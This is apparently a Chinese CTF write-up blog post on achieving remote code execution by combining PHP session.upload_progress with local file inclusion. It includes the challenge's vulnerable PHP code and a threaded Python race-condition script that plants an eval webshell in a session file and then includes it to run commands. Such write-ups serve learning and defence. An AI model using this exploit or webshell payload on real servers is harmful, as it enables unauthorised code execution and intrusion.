文章归档

置顶文章

Web安全

Web安全基础

PHP相关

Writeups

靶机系列

HackTheBox

VulnHub

代码审计

PHP代码审计

大数据安全

机器学习

基础学习

Python

Python基础

Python安全

Java

Java基础

算法

Leetcode

随笔

经验

技术

 2020-10-19   792

PHP session.upload_process + LFI实现RCE

参考文章:

https://tgaout.github.io/2019/05/29/利用session-upload-progress进行文件包含和反序列化渗透/

这篇文章主要记录参考文章的复现环节,知识点部分简单介绍。

0x01 PHP关于upload_process配置介绍

本文提到的PHP配置中关于session.upload_process主要是下面四个:

1
2
3
4
session.upload_progress.enabled = on
session.upload_progress.cleanup = on
session.upload_progress.prefix = "upload_progress_"
session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS"
  • enabled=on表示当浏览器向服务器上传文件的时候,PHP会把本次文件上传的详细信息存储在session中;

  • cleanup=on表示上传结束后,PHP会立即清空对应的session文件中的内容;

  • 关于prefixname两个选项,PHP文档中有详细说明:

0x02 upload_progress + 文件包含实现RCE

示例代码

直接从一道CTF题目入手:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-16 21:20:43
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/
define('还要秀?', dirname(__FILE__));
set_include_path(还要秀?);
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
include($file);


}else{
highlight_file(__FILE__);
}

ban掉了常见的文件包含伪协议,这个时候我们可以利用session.upload_progress将恶意代码写入session文件,从而包含session文件。

现在还存在两个问题:首先没有代码中没有session_start()如何创建session文件;第二个问题,由于session.upload_progress.cleanup=on,当文件上传结束后,session文件的内容被自动清除,如何进行RCE?

session.use_strict_mode

关于第一个问题,session还有一个默认配置:session.use_strict_mode=0,意思就是用户可以自定义Session ID。具体而言,我们在Cookie中设置Cookie:PHPSESSID=ca01h,PHP将会在服务器上session存储的位置创建一个文件session_ca01h,即使用户没有初始化Session,PHP也会自动初始化Session,并且产生一个键值,这个键值由session.upload_progress.prefix+session.upload_progress_name组成,最后被写入sess_文件中。

条件竞争

为了赶在session文件被清除之前进行RCE,可以通过上传一个大文件进行条件竞争。

解题

本来是想直接写一个脚本Getshell的,结果一直没能调试出来,只能用burp抓包intrude了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import requests
import io
import threading

url = """http://7a4916f9-18d7-4ecf-bed3-302ed44c5763.chall.ctf.show/index.php"""
sessid = "ca01h"
data = {"cmd": "system('ls');"}
proxy = {"http": "127.0.0.1:8080"}


def write(session):
while True:
f = io.BytesIO(b'a' * 1024)
resp = session.post(url=url, data={"PHP_SESSION_UPLOAD_PROGRESS": "<?php eval($_POST);?>"},
files={"file": ("ca01h.txt", f)}, cookies={"PHPSESSID": sessid}, proxies=proxy)


def read(session):
while True:
resp = session.post(url=url+"?file=/tmp/sess_"+sessid, data=data, proxies=proxy)
if "ca01h.txt" in resp.text:
print(resp.text)
event.clear()
else:
print("[++++++]Retry")


if __name__ == '__main__':
event = threading.Event()
with requests.session() as session:
for i in range(30):
threading.Thread(target=write, args=(session,)).start()
for i in range(30):
threading.Thread(target=read, args=(session,)).start()
event.set()

burp抓包

文件上传请求包:

执行命令请求包:

条件竞争爆破

Copyright © ca01h 2019-2020 | 本站总访问量